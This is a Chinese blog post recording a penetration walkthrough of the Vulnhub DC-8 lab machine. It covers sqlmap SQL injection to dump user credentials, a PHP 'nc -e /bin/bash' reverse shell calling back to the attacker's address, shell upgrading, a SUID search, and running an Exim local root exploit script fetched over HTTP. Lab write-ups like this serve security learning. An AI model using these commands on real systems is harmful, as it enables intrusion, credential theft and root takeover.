Vulnhub靶机渗透学习记录：DC-8

最新推荐文章于 2023-08-08 16:29:34 发布

T1des_

最新推荐文章于 2023-08-08 16:29:34 发布

阅读量2.2k

点赞数

文章标签：安全 web安全 linux

本文链接：https://blog.csdn.net/Youanddream/article/details/122611258

版权

环境搭建

在主页Details中有三个文章，点击发现URL中出现了nid参数。

在数字后加带你引号进行简单的SQL注入尝试，结果出现了数据库报错页面，判断可能存在SQL注入漏洞。

复制页面链接，使用Sqlmap进行检测。检测发现确实存在SQL注入漏洞。

sqlmap -u "http://192.168.2.33/?nid=1"

在这里插入图片描述
爆数据库：

sqlmap -u "http://192.168.2.33/?nid=1" --dbs --batch

在这里插入图片描述
爆数据库d7db的表名：

sqlmap -u "http://192.168.2.33/?nid=1" --batch -D d7db --tables

在这里插入图片描述
爆users表中字段名：

sqlmap -u "http://192.168.2.33/?nid=1" --batch -D d7db -T users --columns

在这里插入图片描述
爆users表中账号密码：

sqlmap -u "http://192.168.2.33/?nid=1" --batch -D d7db -T users -C name,pass --dump

在这里插入图片描述

尝试写入PHP反弹shell的代码，并保存。

<?php 
system("nc -e /bin/bash 192.168.2.14 9999");
?>

在这里插入图片描述

使用python升级shell，方便使用。

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

获取到shell后，先翻翻敏感文件，看能否发现有价值的信息。
查看/etc/passwd,发现存在一个用户dc8user,但查看该用户的家目录，发现时空的。
后续查看了很多配置文件等，但都没有发现有价值的信息。
使用sudo -l 查看有无有特殊权限的文件，发现需要输入密码，无法查看。
查看是否有SUID提权，发现有一个exim4存在（Exim是一个邮件传输代理服务器软件）。
```
find / -user root -perm -4000 -print 2>/dev/null
```

使用searchsploit exim尝试搜索已知漏洞，发现存在本地提权漏洞。
```
searchsploit exim
```
尝试查看exim的版本号，尝试缩小范围。成功获取到版本号。
```
exim --version
```
版本号为4.89，所以尝试使用46996.sh来进行提权。
查看46996.sh这个脚本文件，发现其有两个使用方法。
```
cat /usr/share/exploitdb/exploits/linux/local/46996.sh
```
在传输文件之前根据前面的经验，先修改一下这个脚本文件的编码，以方上传后运行出现问题。使用Vim修改文件。只需要Vim打开文件，然后键入以下内容后，回车,保存退出便可。
```
:set ff=unix
```
使用python启动一个http服务，供靶机下载这个脚本文件。
Kali：复制该脚本到/tmp目录后，使用python开启一个服务供靶机下载脚本。
```
python -m SimpleHTTPServer
```
靶机：切换到/tmp目录下，使用wget下载脚本文件。
在脚本运行之前，需要给脚本执行的权限。
先尝试第一种使用方法，发现没有提权成功。
```
./46996.sh -m setuid
```
尝试第二种使用方法，成功获取到root权限。（未知原因shell会在维持短暂的时间后退出。）